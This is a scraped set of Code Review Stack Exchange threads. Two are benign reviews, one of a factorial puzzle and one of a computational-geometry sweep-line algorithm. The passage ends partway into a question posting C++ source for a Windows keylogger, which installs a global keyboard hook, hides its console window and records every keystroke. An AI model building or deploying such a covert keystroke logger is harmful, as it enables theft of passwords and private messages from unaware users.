{
"body": "<p><strong>Don't forget testability</strong></p>\n\n<p>As no other answer has mentioned this - I feel it's worth pointing out by itself.</p>\n\n<p>In your current example, you are writing the results directly to <code>stdout</code> as soon as they are found. This works well for toy examples, and as it gives you the output you desire - it's often an easy habit to get into.</p>\n\n<p>However, doing it this way requires a human to verify and test the output each time a change is made.</p>\n\n<p>Instead of writing results directly to stdout; try to separate the business logic from the output itself. That is, write the logic in a function which returns the results. In this specific case, you may want to return a list/vector of structs, representing each result as calculated:</p>\n\n<pre><code> struct Result { \n bool success; \n int input_a; \n int input_b; \n int input_c; \n int calculated_abc; \n int calculated_fa_fb_fc_total; \n };\n</code></pre>\n\n<p>Once separate, you'll have a function that can be run by \"other code\" (such as in a test framework), allowing you to write automated tests that check this code is always correct for a given set of inputs.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T15:35:57.490",
"Id": "217498",
"ParentId": "217468",
"Score": "6"
}
},
{
"body": "<p>The code as presented suffers from an algorithmic problem known as <a href=\"https://en.wikipedia.org/wiki/Joel_Spolsky#Schlemiel_the_Painter's_algorithm\" rel=\"nofollow noreferrer\">The Algorithm of Shlemiel the Painter</a>. For example, after calculating 5! = 120 and going on to calculate 6!, the Factorial function has to determine 1×2×3×4×5×6, even though it has just been calculated what the product of the first five terms is. Not particularly important in this particular case because the numbers involved are so small, but it’s still something to be kept in mind. To address this concern, storing the last value of the factorial is helpful as then a single multiplication operation suffices to find out the new value.</p>\n\n<p>Additionally, because the expression is symmetric, it’s only necessary to look for solutions where a ≥ b ≥ c. All other solutions will be permutations of what was found.</p>\n\n<p>With that in mind, the code can be simplified just to this:</p>\n\n<pre><code>#include <iostream>\n\nint main()\n{\n int const MAX = 11;\n for(int a = 0, af = 1; a < MAX; af *= ++a)\n {\n for(int b = 0, bf = 1; b <= a; bf *= ++b)\n {\n for(int c = 0, cf = 1; c <= b; cf *= ++c)\n {\n if(af + bf + cf == a * b * c)\n {\n std::cout << \"a: \" << a << std::endl;\n std::cout << \"b: \" << b << std::endl;\n std::cout << \"c: \" << c << std::endl;\n std::cout << std::endl;\n }\n }\n }\n }\n</code></pre>\n\n<p>A more advanced technique would be to factor out the generation of the factorial sequence. Alas, without C++20 coroutines it’s clumsy. The main function becomes very pretty and clear:</p>\n\n<pre><code>int main()\n{\n int const MAX = 11;\n for(auto [a, af] : factorials_upto{MAX})\n {\n for(auto [b, bf] : factorials_upto{a + 1})\n {\n for(auto [c, cf] : factorials_upto{b + 1})\n {\n if(af + bf + cf == a * b * c)\n {\n std::cout << \"a: \" << a << std::endl;\n std::cout << \"b: \" << b << std::endl;\n std::cout << \"c: \" << c << std::endl;\n std::cout << std::endl;\n }\n }\n }\n }\n}\n</code></pre>\n\n<p>but the code enabling that is less so:</p>\n\n<pre><code>#include <tuple>\n\nclass factorial_iterator\n{\npublic:\n factorial_iterator(int value): m_value{value}, m_product{1}\n {\n }\n\n std::tuple<int, int> operator *() const\n {\n return { m_value, m_product };\n }\n\n factorial_iterator& operator ++()\n {\n m_product *= ++m_value;\n\n return *this;\n }\n\n bool operator !=(factorial_iterator const& other) const\n {\n return m_value != other.m_value;\n }\n\nprivate:\n int m_value;\n int m_product;\n};\n\nstruct factorials_upto\n{\n int m_end;\n\n friend factorial_iterator begin(factorials_upto const &)\n {\n return {0};\n }\n\n friend factorial_iterator end(factorials_upto const& fu)\n {\n return {fu.m_end};\n }\n};\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T12:18:23.300",
"Id": "420908",
"Score": "2",
"body": "It's probably much easier just to pre-compute an array of (all?) factorials which can be expressed in the target type, and use that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T12:32:07.553",
"Id": "420911",
"Score": "0",
"body": "@Deduplicator: multiply is cheap on modern hardware; a lookup table isn't worth it. [Strength-reduction](https://en.wikipedia.org/wiki/Strength_reduction) of factorial to multiply is exactly what I was going to suggest if there wasn't already an answer pointing it out. The compiler can and probably will take care of strength-reducing `a*b*c` to `prod += a*b;` and of course hoisting the `a*b` and `af+bf` loop invariants. In theory the compiler could inline and optimize the `factorial` function calls, too, but I'd be less optimistic about that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:03:53.923",
"Id": "420916",
"Score": "0",
"body": "@PeterCordes I would write a factorial array for clarity."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:04:58.703",
"Id": "420917",
"Score": "0",
"body": "It's simple enough to simply write it yourself, see: http://coliru.stacked-crooked.com/a/365eef0d85122710"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T23:13:05.517",
"Id": "217519",
"ParentId": "217468",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "217469",
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T05:43:44.757",
"Id": "217468",
"Score": "15",
"Tags": [
"c++",
"beginner"
],
"Title": "Check which numbers satisfy the condition [A*B*C = A! + B! + C!]"
} | 217468 |
<p>I've implemented the following algorithm (From "Computational Geometry : Algorithms and Applications").</p>
<p><a href="https://i.stack.imgur.com/OIV2S.png" rel="noreferrer"><img src="https://i.stack.imgur.com/OIV2S.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/KQKNE.png" rel="noreferrer"><img src="https://i.stack.imgur.com/KQKNE.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/TPOag.png" rel="noreferrer"><img src="https://i.stack.imgur.com/TPOag.png" alt="enter image description here"></a></p>
<p>The code is below:
(All the code actually is here: <a href="https://github.com/lukkio88/ComputationalGeometry/tree/master/Point" rel="noreferrer">https://github.com/lukkio88/ComputationalGeometry/tree/master/Point</a>, but the relevant bits for the algorithm are the <code>.h</code> and <code>.cpp</code> below)</p>
<p>The algorithm is quite complicated, this is why I'm asking for a review.</p>
<p>.h</p>
<pre><code>#pragma once
#ifndef __LINE_SEG_INTERSECTION_H
#define __LINE_SEG_INTERSECTION_H
#include <segment.h>
#include <map>
#include <set>
#include <vector>
using std::map;
using std::set;
using std::pair;
using std::vector;
struct ComparePts {
bool operator()(const Point& p, const Point & q) const;
};
using PriorityQueue = map<Point, vector<Segment>, ComparePts>;
std::ostream& operator<<(std::ostream& os, const PriorityQueue& p);
Point getMin(const Point & p, const Point & q);
Point getMax(const Point & p, const Point & q);
Point getUp(const Segment &s);
Point getDown(const Segment & s);
struct SegmentComparator {
bool operator()(const Segment & s, const Segment & r) const;
bool * above;
Float * y;
};
using SweepLine = set<Segment, SegmentComparator>;
using SweepLineIter = SweepLine::iterator;
constexpr Float ths = 0.0001;
struct StatusStructure {
StatusStructure();
SweepLineIter getIncident(const Point& p);
bool findLeftNeighboor(Float x, Segment& sl) const;
bool findRightNeighboor(Float x, Segment& sr) const;
void findLeftmostAndRightmost(const Point& pt, SweepLineIter& it_l, SweepLineIter& it_r);
bool above;
Float y_line;
SegmentComparator segComp;
SweepLine sweepLine;
SweepLineIter nil;
};
std::ostream& operator<<(std::ostream& os, const StatusStructure& tau);
vector<Point> computeIntersection(vector<Segment> & S);
#endif
</code></pre>
<p>.cpp</p>
<pre><code>#pragma once
#include <line_seg_intersection.h>
bool ComparePts::operator()(const Point& p, const Point & q) const {
return p.y - q.y >= ths || ((abs(p.y - q.y) < ths) && p.x < q.x);
}
Point getMin(const Point & p, const Point & q) {
ComparePts cmp;
if (cmp(p, q))
return p;
return q;
}
Point getMax(const Point & p, const Point & q) {
ComparePts cmp;
if (cmp(p, q))
return q;
return p;
}
Point getUp(const Segment &s) {
return getMin(s.p, s.q);
}
Point getDown(const Segment & s) {
return getMax(s.p, s.q);
}
bool SegmentComparator::operator()(const Segment& s, const Segment& r) const {
Float xs, xr;
bool
sIsHorizontal = s.isHorizontal(),
rIsHorizontal = r.isHorizontal();
if (sIsHorizontal)
xs = s.p.x;
else
s.getX(*y, xs);
if (rIsHorizontal)
xr = r.p.x;
else
r.getX(*y, xr);
if (xs != xr)
return xs < xr;
else {
Point u = (sIsHorizontal) ?
normalize(s.q - s.p):
normalize(getUp(s) - getDown(s));
Point v = (rIsHorizontal) ?
normalize(r.q - r.p):
normalize(getUp(r) - getDown(r));
Point ref{ 1.0,0.0 };
if (*above) {
return u * ref < v*ref;
}
else {
return u * ref > v*ref;
}
}
}
SweepLineIter StatusStructure::getIncident(const Point& p) {
return sweepLine.lower_bound(Segment{ p,p + Point{-1.0,0.0} });
}
std::ostream& operator<<(std::ostream& os, const PriorityQueue& p) {
for (auto el : p) {
std::cout << el.first << std::endl;
for (auto seg : el.second) {
std::cout << seg << std::endl;
}
}
return os;
}
static int size(const vector<Segment>& U, const vector<Segment>& C, const vector<Segment>& L) {
return U.size() + C.size() + L.size();
}
static int size(const vector<Segment>& U, const vector<Segment>& C) {
return U.size() + C.size();
}
static bool findEvent(const Segment& l, const Segment& r, Point& p) {
return l.intersect(r, p);
}
StatusStructure::StatusStructure() {
segComp.y = &y_line;
segComp.above = &above;
sweepLine = SweepLine(segComp);
nil = sweepLine.end();
}
bool StatusStructure::findLeftNeighboor(Float x, Segment& sl) const { //This assumes the flag "above" is false
Segment tmp{ Point{0.0,0.0},Point{1.0,0.0} };
SweepLineIter it = sweepLine.lower_bound(tmp);
while (it != nil && (--it) != nil) {
Float curr_x;
it->getX(y_line, curr_x);
if (curr_x != x) {
sl = *it;
return true;
}
}
return false;
}
bool StatusStructure::findRightNeighboor(Float x, Segment& sr) const {
Segment tmp{ Point{0.0,0.0},Point{1.0,0.0} };
SweepLineIter it = sweepLine.lower_bound(tmp);
while (it != nil && (++it) != nil) {
Float curr_x;
it->getX(y_line, curr_x);
if (curr_x != x) {
sr = *it;
return true;
}
}
return false;
}
/*
This function will find the leftMost and the rightMost in a star of segments
passing through pt
*/
void StatusStructure::findLeftmostAndRightmost(const Point& pt,SweepLineIter& it_l, SweepLineIter& it_r) {
Float x;
//Getting the segment whose dot product with e1 is >= to -1
it_l = sweepLine.lower_bound({ pt,pt + Point{-1.0,0.0} }); //this will return the actual iterator to the segment, this must exist
it_r = sweepLine.upper_bound({ pt,pt + Point{1.0,0.0} }); //this potentially might be nil
it_r--;
}
ostream& operator<<(ostream & os, const StatusStructure & tau)
{
std::string curr_str;
for (auto& seg : tau.sweepLine)
os << seg.label << " ";
return os;
}
vector<Point> computeIntersection(vector<Segment> & S) {
PriorityQueue queue;
while (!S.empty()) {
Segment s = S.back();
queue[getUp(s)].push_back(s);
queue[getDown(s)];
S.pop_back();
}
vector<Point> intersections;
//Init status structure
StatusStructure tau;
std::vector<Segment> C, L;
Float curr_x;
Segment sl, sr;
while (!queue.empty()) {
Point p = queue.begin()->first;
tau.y_line = p.y;
tau.above = true;
std::vector<Segment> U = queue.begin()->second;
queue.erase(queue.begin());
SweepLineIter it = tau.getIncident(p);
//populating L and C
while (it != tau.nil && it->getX(tau.y_line, curr_x) && (abs(curr_x - p.x) < 0.0001)) {
if (getDown(*it) == p)
L.push_back(*it);
else
C.push_back(*it);
it = tau.sweepLine.erase(it);
}
if (size(U, C, L) > 1)
intersections.push_back(p);
while (!L.empty())
L.pop_back();
tau.above = false;
int size_UC = size(U, C);
while (!U.empty()) {
tau.sweepLine.insert(U.back());
U.pop_back();
}
while (!C.empty()) {
tau.sweepLine.insert(C.back());
C.pop_back();
}
if (size_UC == 0) {
if (tau.findLeftNeighboor(p.x, sl) && tau.findRightNeighboor(p.x, sr)) {
Point new_event_pt;
if (findEvent(sl, sr, new_event_pt))
queue[new_event_pt];
}
}
else {
tau.above = true;
SweepLineIter it_l, it_r, it_ll, it_rr;
tau.findLeftmostAndRightmost(p, it_l, it_r);
it_ll = it_l;
it_rr = it_r;
--it_ll;
++it_rr;
if (it_ll != tau.nil) {
Point new_event_pt;
if (findEvent(*it_ll, *it_l, new_event_pt))
queue[new_event_pt];
}
if (it_rr != tau.nil) {
Point new_event_pt;
if (findEvent(*it_r, *it_rr, new_event_pt))
queue[new_event_pt];
}
}
}
return intersections;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T09:13:39.947",
"Id": "429559",
"Score": "0",
"body": "There's big chunks missing from this code - `Point` and `Segment` are not defined. Are they in the `<segment.h>` that isn't shown? I assume that's a library header (since it's `<>` rather than `\"\"`), but you didn't say which library it is!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T09:55:59.477",
"Id": "429563",
"Score": "0",
"body": "@TobySpeight They are not existing libraries, but implemented in the referenced github repository. Perhaps it is better to include them here, a large part of my answer is actually about `segment.cpp` and `point.cpp`."
}
] | [
{
"body": "<p>I'm not an expert in c++, so I will focus mostly on the correctness of your implementation w.r.t. the algorithm as described in the book.</p>\n\n<h2>Numerical Robustness</h2>\n\n<p>Often, the main challenge in implementing geometric algorithms is the fact we cannot work with the real numbers and therefore implementing geometric primitives (is this point to the left of a line, find the intersection of two lines) is tricky. There are multiple ways to implement them, and combinations of them can be used as well: </p>\n\n<ul>\n<li>Floating point arithmetic, which is fast and has native language support (<code>double</code>), but imprecise. </li>\n<li>Fraction arithmetic, which is precise, but slow and often has no native language support. You also have to be very careful to avoid integer overflow (or use arbitrary precision integer arithmetic such as Java's <code>BigInteger</code>. I'm not aware of any comparable implementation in c++, however)</li>\n<li>Interval arithmetic. Is precise and relatively fast in the 'easy' cases, defers to exact arithmetic in the 'hard' cases. Doing this effectively, however, relies on the intricacies of the floating point standard and often some calculation of the error propagation within . </li>\n</ul>\n\n<p>In general, numerical robustness is a hard problem to deal with efficiently. (<a href=\"https://members.loria.fr/Monique.Teillaud/CGAL/robustness.pdf\" rel=\"nofollow noreferrer\">These slides</a> on some considerations of these issues within the CGAL library are nice to give an idea of the complexity involved) </p>\n\n<p>You should decide on which approach to take depending on the purpose of your implementation. If your main purpose is to learn by yourselves, you might get away with using <code>double</code> (properly!) in the instances you test it on. If you are getting issues with the precision, consider using fraction arithmetic. If you want to use this algorithm in production, don't. Instead, use the naive O(n^2) line segment algorithm or use <a href=\"https://doc.cgal.org/latest/Surface_sweep_2/index.html\" rel=\"nofollow noreferrer\">CGAL</a>. </p>\n\n<p>For the following, I will just assume that this implementation is supposed to be only educational.</p>\n\n<h2>Implementing the geometric primitives</h2>\n\n<p>This is not in the class you posted, but it is important to do this correctly, so I will mention this anyway. I will first make some remarks on your current approach.</p>\n\n<p>In <a href=\"https://github.com/lukkio88/ComputationalGeometry/blob/master/Point/segment.cpp\" rel=\"nofollow noreferrer\"><code>segment.cpp</code></a>: </p>\n\n<pre><code>return (twiceArea(c, d, a)*twiceArea(c, d, b) <= 0.0) && (twiceArea(a, b, c)*twiceArea(a, b, d) <= 0.0);\n</code></pre>\n\n<p>You cannot rely on equality holding when the numbers are equal. Instead, you should consider everthing that is less than a small value as equal to zero (as you have done correctly in <code>ComparePts</code>):</p>\n\n<pre><code>double eps = 0.0001;\nreturn (twiceArea(c, d, a)*twiceArea(c, d, b) < eps) && (twiceArea(a, b, c)*twiceArea(a, b, d) < eps);\n</code></pre>\n\n<p>But be aware that this will give an incorrect answer if there are true values in between <code>0</code> and <code>eps</code> or if the error in the calculation of <code>twiceArea(c, d, a)*twiceArea(c, d, b)</code> is larger than <code>eps</code>. </p>\n\n<p>Also, <code>twiceArea</code> is not a good name. Areas should be positive, and it also isn't clear of <em>what</em> you are computing the area. Additionally, you only need the sign of this operation. I suggest you replace <code>twiceArea</code> by a function <code>orientation</code> that returns its sign, where you should set the sign to 0 if the value is less than some small constant and otherwise return the sign properly (1 if positive, -1 if negative)</p>\n\n<p>To compute whether two segments intersect, I suggest the following approach: </p>\n\n<p>Using <code>orientation</code>, you can easily test whether a segment intersects a line: this is the case if an only if one of the endpoints of the segment lies on the line or both endpoints lie on different sides of the line. With that, you can test whether two line segments intersect: test whether the first segment intersects the line extended from the second segment and the vice versa.</p>\n\n<p>The advantage of this approach is that you replace the test <code>sign(a * b) < 0</code> by <code>sign(a) != sign(b)</code> and avoid a floating point operation. It also places all the imprecision 'inside' the smallest function possible, which makes it easier to adapt it to more precise approaches or different ways of dealing with the imprecision.</p>\n\n<hr>\n\n<p>As for <code>Segment::intersect</code>, I would instead implement a function to compute the intersection of lines extending from the segments. This means that you drop the check for checking whether the segments intersect, although you probably want to test for the case where the lines are parallel and do not intersect. One reason to do this is that you can then use this function to compute the intersection point of a segment with the sweepline, it it intersects the sweepline. So, you can replace <code>getX</code> with a call to the the line segment intersection function.</p>\n\n<h2>Segment comparison</h2>\n\n<p>With these low-level implementation issues out of the way, let's look at the rest of the code. </p>\n\n<p>In the function <code>SegmentComparator</code>:</p>\n\n<pre><code>if (xs != xr)\n return xs < xr;\n</code></pre>\n\n<p>Two direct comparison of floats, do something like</p>\n\n<pre><code>if (xs - xr < ths)\n return 1\nif (xs - xr > ths)\n return 0\n</code></pre>\n\n<p>instead. (The <code>else</code> is unnecessary.)</p>\n\n<pre><code> Point u = (sIsHorizontal) ?\n normalize(s.q - s.p):\n normalize(getUp(s) - getDown(s));\n\n Point v = (rIsHorizontal) ?\n normalize(r.q - r.p):\n normalize(getUp(r) - getDown(r));\n\n Point ref{ 1.0,0.0 };\n\n if (*above) {\n return u * ref < v*ref;\n }\n else {\n return u * ref > v*ref;\n }\n</code></pre>\n\n<p>It seems you are comparing the inverse of the slope here. I would not normalize here and compute the inverse slope normally (<code>(s.q.y-s.p.y)/(s.p.x-s.q-x)</code>) which avoids having to determine which part is 'up', or at least not take the square root, that is not needed it makes it impossible to use fractions. (you can simply compare the squared Euclidean norm)</p>\n\n<p>You are using <code>above</code> to switch the order of segments in the status at their intersection point. This is ok, but you have to be careful when you insert two segments with the same upper endpoint (when you put all eventpoints except the intersections in the queue). In that case, the <code>above</code> flag should be false. (it is not clear to me what the initial value of <code>above</code> is)</p>\n\n<h2>Event handling</h2>\n\n<p>Set and Map use a red-black tree as the underlying data-structure, so they have the required logarithmic time for insertion, removal and lookup. So far so good. </p>\n\n<pre><code> std::vector<Segment> U = queue.begin()->second;\n</code></pre>\n\n<p>This is incorrect, p does not have to be an upper point of all segments stored at the event point, the segments can either have this point as an intersection point or as lower point. You can check at this point to which part the points belong, but I'd recommend to store the type of point when inserting the event, as it is always known at that point. This also helps with visualizing your event queue for debugging.</p>\n\n<pre><code>static bool findEvent(const Segment& l, const Segment& r, Point& p) {\n return l.intersect(r, p);\n}\n</code></pre>\n\n<p>It is not enough to check whether the segments intersect, you have to verify that the intersection is not in the event queue, or any point that has been in the event queue. To do this, you have to check that the intersection point p is earlier than the current event point with <code>ComparePts</code>.</p>\n\n<p>I'm not sure if there are more errors here, but I suggest you implement the simple case where an event-point can only be either 1. the top of a segment 2. the bottom of a segment or 3. the intersection of a pair of segments. I would only extend this to the general case if I test that that works.</p>\n\n<h2>General recommendations</h2>\n\n<p>Implementing geometric algorithms properly is hard, so while it might be nice to try and implement the simpler ones such as the convex hull algorithms, you should keep in mind that implementing geometric algorithms is a completely different topic than what this textbook is trying to teach you.</p>\n\n<p>Also, it helps to make some simplifying assumptions and test your implementation under those conditions first. Assuming that the points are in general position or that no points have the same y-coordinate simplifies the problem. (but be careful that this has to be the case for the intersection points as well)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-09T22:41:34.877",
"Id": "429512",
"Score": "0",
"body": "Thanks for your answer (finally I got one...). About the geometric primitives I'm planning to write better ones. About numerical robustness I also agree of course, but since this code is essentially not going to be used anywhere for now I'll just work with the assumption that double are good enough. I'm planning to implement few of the algorithms of that book. And later work on the numerical robustness. I'm more interested in manipulating the half edge data structure at very low level at the moment."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-09T22:43:43.617",
"Id": "429513",
"Score": "0",
"body": "About the simple case against the generic one, I'm only interested in the generic one since I'm currently implementing the map overlay algorithm, and I need the generic case. There're few questions I have about your answer, I'll collect them together and ask them later."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T06:39:22.953",
"Id": "429529",
"Score": "0",
"body": "@user8469759 Well, I understand you will at least need to support multiple endpoints of a segment at the same point. My main point is mostly that you should implement a simpler version _first_, test that, find bugs and only then implement the generic case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T07:51:03.530",
"Id": "429534",
"Score": "0",
"body": "First question : You're pointing out my event handling is wrong, why is that? Line 1 of the pseudocode defines $U$ in the same way I did."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:08:50.423",
"Id": "429535",
"Score": "0",
"body": "@user8469759 No, or at least, I don't think your code selects the same U. The set U(p) is the set of segments that have p as their upper endpoint. Your code seems to assign the set of all segments that have p as an event-point to U. So, your code assigns some segments to U that should not be assigned to it, these are the segments that have p as intersection point or as lower endpoint."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:15:00.887",
"Id": "429536",
"Score": "0",
"body": "The assignment is in the priority queue, for each segment I get both end points and use those as key of a map, if the point is an upper end point I'll also store the segment with it. When I get an event point, I'll also get the associated segments, which by construction are the ones that have the current event point as an upper end point. The pseudocode line 1 explicitly says that such segments are stored in the event queue as well."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:29:25.980",
"Id": "429537",
"Score": "0",
"body": "@user8469759 Ok. If you only store a segment if the event point is an upper point, there is another problem. How do you find the segments of an intersection point? It seems you're trying to avoid distinguishing the event types in the queue, but that will only make your code less clear, and lead to errors."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:38:02.220",
"Id": "429540",
"Score": "0",
"body": "I don't store \"a segment\" with the point but all the segments that have that point as an upper endpoint. The key of my priority queue is a point while the value is a list of segments, therefore when I cross that event point I get the set `U`. To get the set `C` and `L`, in the function `computeIntersections` look the iteration below the comment `//populating L and C`. Given and event point I retrieve the iterator to the first segment that passes through that point, if the point is a lower end point then the segment is added to `L` otherwise to `C`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:39:34.827",
"Id": "429543",
"Score": "0",
"body": "The pseudocode given by the deBerg doesn't distinguish the type of event points, but I do remember a C++ implementation of the simpler case you mention where there's an actual distinction between the types of event points. If you see that distinction please point out where such a distinction is used in the pseudocode, since this is what I'm trying to implement."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:42:00.540",
"Id": "429545",
"Score": "0",
"body": "You also pointed out what's the `above` flag for. The `above` flag is essentially a trick that changes the behaviour of the comparator. This allows to insert `U(p)` and `C(p)` in reverse order in the tree, see line `6` of the pseudocode. I did not bother for now to implement my own sweep-line data structure therefore I needed one or few tricks to manipulate the red-black tree in the way I wanted."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:44:52.887",
"Id": "429546",
"Score": "0",
"body": "@user8469759 While the pseudocode doesn't explicitely list the different event points, they are clearly described in the preceding text. I suggest you read that first."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:50:50.980",
"Id": "429548",
"Score": "0",
"body": "The difference the textbook make between the three sets is essentially the following : 1) `U(p)` can be computed when creating the queue. Given `p` we need `U(p)` to find new intersections below the sweepline 2) given 'p' then we can retrieve `L(p)` from the status structure and just remove them, because the will not affect what happens below the sweepline 3) `C(p)` can only be retrieved from the status structure and together with `U(p)` this set will be used to find new intersections below the sweep-line."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:51:06.773",
"Id": "429549",
"Score": "0",
"body": "@user8469759 Ah, I guessed `above` was used for something like that, but I wanted to be sure. This is one way to handle it, I will add an alternative that may be easier to my answer. Note that it is possible to treat the status data structure as a black box: you can always get the correct order by moving the sweepline appropriately, even though the book does not describe it in this way."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:51:21.813",
"Id": "429552",
"Score": "0",
"body": "The size of the union of these sets will tell me if current event point is intersection of course. All the cases I mentioned are implemented in the code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T08:55:46.030",
"Id": "429554",
"Score": "0",
"body": "In your **event handling** paragraph you point out a bug, which I think I've sorted in one of the other branches in my repo. I'll double check later, thank you for that, and again thank you for your time. I appreciate these algorithms are very tedious."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T09:12:12.510",
"Id": "429558",
"Score": "0",
"body": "@user8469759 As for handling the different event points, I now understand what you're doing, and it could work in principle, but I don't think it is a very good approach. I will expand on that in the answer later."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-15T08:13:18.103",
"Id": "430260",
"Score": "0",
"body": "Hi @Discrete lizard, any chance you could share the changes you would make to simplify my implementation?"
}
],
"meta_data": {
"CommentCount": "17",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-09T22:14:31.483",
"Id": "221978",
"ParentId": "217473",
"Score": "6"
}
},
{
"body": "<p>Why is there <code>#pragma once</code> in the implementation file? Including it twice in the same translation unit is clearly an error that should be fixed, not a normal state of affairs as a header would be.</p>\n\n<p>If the <code>abs()</code> is meant to be <code>std::abs()</code>, we need <code>#include <cmath></code> and <code>using std::abs;</code>.</p>\n\n<p>The <code>getMin()</code> and <code>getMax</code> functions seem to be exactly like <code>std::min(p, q, ComparePts{})</code> and <code>std::max(p, q, ComparePts{})</code> respectively, so provide very little value as functions.</p>\n\n<p>I didn't get beyond this, as the rest seems to depend too much on the library that defines <code>Float</code>, <code>Point</code> and <code>Segment</code>, and there's no clue which of the many geometry libraries is used.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T10:21:40.360",
"Id": "429565",
"Score": "0",
"body": "There's no external library apart from the `stl`. I didn't feel like posting the whole, I was more looking potentially for people who have an undestanding of computational geometry to review that specific function. About `Point` and `Segment` the clue is in the link I gave."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-10T09:27:34.743",
"Id": "222001",
"ParentId": "217473",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T08:41:04.630",
"Id": "217473",
"Score": "5",
"Tags": [
"c++",
"computational-geometry"
],
"Title": "Line segment intersection from [de Berg et al, 2000], computational geometry"
} | 217473 |
<h2>Windows keylogger in C++</h2>
<p><strong>Known issues:</strong></p>
<ol>
<li>Not implementing rule of five</li>
<li>Having to use hack to use member variables, <code>out_</code>, in static method</li>
<li>Pressing caps-lock won't capitalize letters (I will fix this later)</li>
</ol>
<hr>
<p><strong>keylogger.h</strong></p>
<pre><code>#pragma once
#include <string>
#include <Windows.h>
class keylogger
{
public:
keylogger(std::ostream* out);
~keylogger();
void run() const;
void hide_window() const;
void show_window() const;
private:
void hook();
void unhook() const;
static LRESULT CALLBACK hook_process(int code, WPARAM wparam, LPARAM lparam);
static keylogger* this_;
HHOOK hhok_;
std::ostream* out_;
};
</code></pre>
<p><br>
<strong>keylogger.cpp</strong></p>
<pre><code>#include "keylogger.h"
keylogger* keylogger::this_ = NULL;
keylogger::keylogger(std::ostream* out)
: out_(out)
{
this_ = this;
hook();
}
keylogger::~keylogger()
{
unhook();
}
void keylogger::run() const
{
MSG msg = { 0 };
while (GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
void keylogger::hide_window() const
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
}
void keylogger::show_window() const
{
ShowWindow(GetConsoleWindow(), SW_SHOW);
}
void keylogger::hook()
{
hhok_ = SetWindowsHookEx(WH_KEYBOARD_LL, hook_process, NULL, 0);
}
void keylogger::unhook() const
{
UnhookWindowsHookEx(hhok_);
}
LRESULT CALLBACK keylogger::hook_process(int code, WPARAM wparam, LPARAM lparam)
{
if (code == HC_ACTION)
{
std::string key;
KBDLLHOOKSTRUCT* kbs = (KBDLLHOOKSTRUCT*)lparam;
if (wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN)
{
bool shift_down = GetAsyncKeyState(VK_SHIFT);
switch (kbs->vkCode)
{
case 0x08: key = "[BACKSPACE]"; break;
case 0x09: key = "[TAB]"; break;
case 0x0D: key = "[NEWLINE]"; break;
case 0x13: key = "[PAUSE]"; break;
case 0x14: key = "[CAPS LOCK]"; break;
case 0x20: key = "[SPACE]"; break;
case 0x25: key = "[LEFT]"; break;
case 0x26: key = "[UP]"; break;
case 0x27: key = "[RIGHT]"; break;
case 0x28: key = "[DOWN]"; break;
case 0x2E: key = "[DELETE]"; break;
case 0x30: (!shift_down) ? key = "0" : key = ")"; break;
case 0x31: (!shift_down) ? key = "1" : key = "!"; break;
case 0x32: (!shift_down) ? key = "2" : key = "@"; break;
case 0x33: (!shift_down) ? key = "3" : key = "#"; break;
case 0x34: (!shift_down) ? key = "4" : key = "$"; break;
case 0x35: (!shift_down) ? key = "5" : key = "%"; break;
case 0x36: (!shift_down) ? key = "6" : key = "^"; break;
case 0x37: (!shift_down) ? key = "7" : key = "&"; break;
case 0x38: (!shift_down) ? key = "8" : key = "*"; break;
case 0x39: (!shift_down) ? key = "9" : key = "("; break;
case 0x41: (!shift_down) ? key = "a" : key = "A"; break;
case 0x42: (!shift_down) ? key = "b" : key = "B"; break;
case 0x43: (!shift_down) ? key = "c" : key = "C"; break;
case 0x44: (!shift_down) ? key = "d" : key = "D"; break;
